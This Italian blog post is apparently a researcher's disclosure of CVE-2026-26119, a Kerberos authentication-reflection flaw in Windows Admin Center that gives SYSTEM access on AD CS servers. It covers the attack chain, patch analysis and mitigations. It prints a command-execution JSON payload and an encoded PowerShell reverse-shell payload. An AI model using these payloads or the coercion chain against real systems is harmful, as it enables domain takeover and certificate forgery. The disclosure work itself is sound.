Probabilmente saprete già della recente patch rilasciata da Microsoft per una vulnerabilità critica di escalation dei privilegi in remoto (CVE-2026-26119) che interessava Windows Admin Center e che, in determinate condizioni, poteva portare alla compromissione totale del dominio. Ho scoperto e segnalato questo problema a Microsoft nel luglio 2025. Ora che la patch è stata rilasciata, posso discutere della vulnerabilità: perché funzionava, perché era sottile e perché i team IT e di sicurezza informatica continuano a sottovalutare la riflessione dell'autenticazione.
Che cos'è Windows Admin Center?
Ogni volta che si apre Server Manager, ti ricorda gentilmente di installare Windows Admin Center. Di solito ignoro questo messaggio, ma alla fine la curiosità ha avuto la meglio e ho deciso di provarlo.
Windows Admin Center è una piattaforma di gestione basata su browser progettata per sostituire i tradizionali snap-in della Microsoft Management Console (MMC) e ridurre la necessità di accedere direttamente a PowerShell. La piattaforma:
- è basato sul web
- supporta l'autenticazione integrata di Windows (WIA)
- mette a disposizione endpoint REST per operazioni di gestione con privilegi
La piattaforma funziona come un'applicazione .NET ospitata sul server web Kestrel ed espone un gateway di gestione HTTP (Figura 1).
Windows Admin Center: cosa c'è sotto il cofano
Dopo aver fatto qualche prova e aver cercato di capire meglio come funziona Windows Admin Center, ho deciso di intercettare e analizzare le sue richieste per vedere cosa stesse realmente accadendo.
Una volta effettuata l'autenticazione, in questo caso tramite WIA, l'applicazione imposta diversi cookie fondamentali, quali WAC-SESSION e i relativi token anti-falsificazione (Figura 2).
Non ci è voluto molto per individuare endpoint REST interessanti che consentissero l'esecuzione di codice, come quello mostrato nella Figura 3. Questo si trova all'indirizzo /api/services/WinREST/Powershell/nodes//InvokeCommand.
Questo endpoint sembrava molto facile da sfruttare, quindi ho deciso di ripetere la richiesta per eseguire un semplice whoami.exe, reindirizzando l'output in un file e recuperandone il contenuto.
Rimaneva tuttavia un importante limite: ogni richiesta richiedeva una nuova autenticazione, compresi il cookie WAC-SESSION iniziale e il corrispondente token anti-falsificazione (Figura 4).
Sorpresa: ha funzionato!
Analisi dell'autenticazione in Windows Admin Center
Sebbene questo endpoint sembrasse un semplice bersaglio per il reindirizzamento dell'autenticazione, il mio vero interesse era la riflessione dell'autenticazione. Volevo capire se un utente di dominio con privilegi limitati potesse forzare in remoto l'autenticazione del computer e rifletterla su Windows Admin Center per ottenere l'accesso a NT AUTHORITY\SYSTEM.
Ho già pubblicato sul mio blog personale una spiegazione dettagliata dell'abuso della riflessione dell'autenticazione, quindi non mi ripeterò qui. Con le recenti correzioni di Microsoft che bloccano l'abuso del trucco CredMarshalTargetInfo e di GhostSPN per la coercizione basata su SMB, l'unica opzione rimasta era quella di ricorrere a un trigger RPC/DCOM. Il candidato ideale? Un server Active Directory Certificate Services (AD CS) con Windows Admin Center installato.
In questa configurazione, qualsiasi utente di dominio autenticato potrebbe forzare da remoto l'autenticazione del computer tramite DCOM, come dimostrato dal mio strumento ADCSCoerce Potato, e inoltrarla a un servizio HTTP. Poiché il nome del soggetto del servizio (SPN) è sotto il controllo dell'autore dell'attacco, è possibile attivare l'autenticazione locale utilizzando sia Kerberos che NTLM.
L'esecuzione corretta del codice e l'ottenimento dei diritti di accesso NT AUTHORITY\SYSTEM su un server AD CS comportano di fatto una sola cosa: un certificato "golden". L'accesso amministrativo consente all'autore dell'attacco di eseguire il backup delle chiavi pubbliche e private dell'autorità di certificazione (CA) e di falsificare certificati per qualsiasi utente, compresi gli amministratori di dominio per l'autenticazione dei client.
Dato che disponevo già di uno strumento personalizzato (derivato da KrbRelay) che supporta l'attivazione remota tramite DCOM, ho deciso di utilizzare la riflessione Kerberos. L'unico compito rimasto era implementare la logica del client HTTP necessaria per interagire con gli endpoint REST di Windows Admin Center e avviare l'esecuzione del codice.
Grazie all'uso di Burp per il debug del flusso della sessione, l'implementazione del client di Windows Admin Center è stata piuttosto semplice. Ho seguito una procedura in due fasi: una richiesta per recuperare i cookie necessari, seguita da una seconda richiesta per interagire con gli endpoint pertinenti.
Ciascuna di queste richieste richiedeva una nuova autenticazione, il che comportava un po' di lavoro in più, ma alla fine ha funzionato come previsto.
Il mio payload generico era il seguente:
{"properties":{"script":"cmd.exe /c >c:\temp\out.txt; $a=get-content \"c:\temp\out.txt"; return $a"}}
Il payload potrebbe anche essere modificato per includere codice PowerShell, ad esempio per creare una shell inversa o eseguire qualsiasi altra azione.
{"properties":{"script":"$b64='JGM9TmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzE5Mi4xNj..';$d = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));iex $d"}}
Per evitare di dover gestire complesse sequenze di escape, l'approccio più semplice consiste nell'utilizzare una versione codificata in Base64 dello script che si desidera eseguire.
Una volta preparato tutto, ho deciso di fare una prova utilizzando un payload di reverse shell PowerShell da un computer collegato al dominio, D2S2, come utente con privilegi limitati.
L'unica preoccupazione che mi restava era l'Extended Protection for Authentication (EPA), che avrebbe impedito questo tipo di riflessione. Tuttavia, Windows Admin Center gira sul server web Kestrel anziché su Microsoft Internet Information Services (IIS) e, da quanto ne sapevo, le funzionalità EPA non sono implementate in Kestrel… eppure ha funzionato, senza EPA (Figura 5, Figura 6).
Il risultato è stata una shell con privilegi completi in esecuzione nel contesto dell'account di sistema D2S3$, che ospita sia Windows Admin Center che AD CS. Questo video mostra un altro esempio di backup delle chiavi CA:
Lo strano caso di Windows 2025
Inizialmente avevo eseguito questi test su un sistema Windows Server 2022, quindi ho deciso di ripeterli su Windows Server 2025. Con mia grande sorpresa, ogni tentativo ha dato come risultato un messaggio di "ACCESSO NEGATO".
Da ulteriori approfondimenti è emerso che, su Windows Server 2025 e Windows 11 24H2, l'EPA viene applicato in modo nativo dal driver HTTP.SYS. Di conseguenza, a meno che il backend non intervenga esplicitamente su questo comportamento, l'EPA risulta di fatto sempre abilitato.
Correzioni relative a CVE-2026-26119
Nel gennaio 2026, Microsoft ha rilasciato la prima patch, CVE-2026-20929, che ha di fatto esteso i requisiti EPA ad altre versioni di Windows rinominando le funzioni originali di associazione dei canali con il suffisso _old e introducendo nuove implementazioni (Figura 7).
Il 17 febbraio Microsoft ha rilasciato una patch fuori ciclo per Windows Admin Center relativa al CVE-2026-26119.
Questo aggiornamento ha introdotto una chiamata SetProperty(HttpServerChannelBindProperty), delegando l'applicazione dei token di associazione dei canali (CBT) al driver del kernel HTTP.SYS aggiornato (Figura 8).
La correzione effettiva è stata introdotta nella patch del kernel HTTP.SYS di gennaio, che implementa la funzionalità EPA per impostazione predefinita. Questa nuova implementazione in Windows Admin Center sembra quindi essere finalizzata principalmente alla compatibilità futura, piuttosto che a risolvere la causa principale del problema.
Cosa c'è da sapere sulla riflessione dell'autenticazione
Windows Admin Center è l'ennesimo esempio di quanto possano essere pericolosi gli attacchi di riflessione e di inoltro delle credenziali di autenticazione, specialmente quando (come in questo caso) non sono disponibili contromisure efficaci oltre alla disinstallazione del prodotto. Non sono a conoscenza di dati ufficiali sull'utilizzo, ma in base alla mia esperienza, Windows Admin Center è probabilmente meno diffuso rispetto ad altri strumenti amministrativi. Tuttavia, ciò non significa che questa vulnerabilità debba essere sottovalutata, poiché scenari simili potrebbero esistere già da anni.
Fortunatamente, grazie all'applicazione dei requisiti CBT direttamente nel driver HTTP.SYS, questo tipo di attacco è stato definitivamente neutralizzato. È inoltre possibile adottare le seguenti contromisure per aiutare a prevenire in generale la riflessione dell'autenticazione:
- Applicare l'autenticazione tramite firma e il binding al canale in ogni contesto
- Risolvere le vulnerabilità note relative alla coercizione
- Rafforzare i sistemi disabilitando i servizi non necessari e utilizzando filtri RPC per bloccare specifici vettori di attacco che innescano l'autenticazione
Cronologia
- 8 luglio 2025: segnalazione di una vulnerabilità al Microsoft Security Response Center (MSRC)
- 29 luglio 2025: Problema confermato dall'MSRC
- 30 ottobre 2025: l'MSRC ha comunicato che la correzione sarebbe stata rilasciata all'inizio del 2026
- 13 gennaio 2026: Microsoft ha rilasciato un primo aggiornamento di sicurezza che risolve la vulnerabilità (CVE-2026-20929)
- 17 febbraio 2026: Microsoft ha rilasciato un secondo aggiornamento di sicurezza che risolve un problema relativo al comportamento di Windows Admin Center (CVE-2026-26119)
Ulteriori studi condotti dagli esperti di Semperis
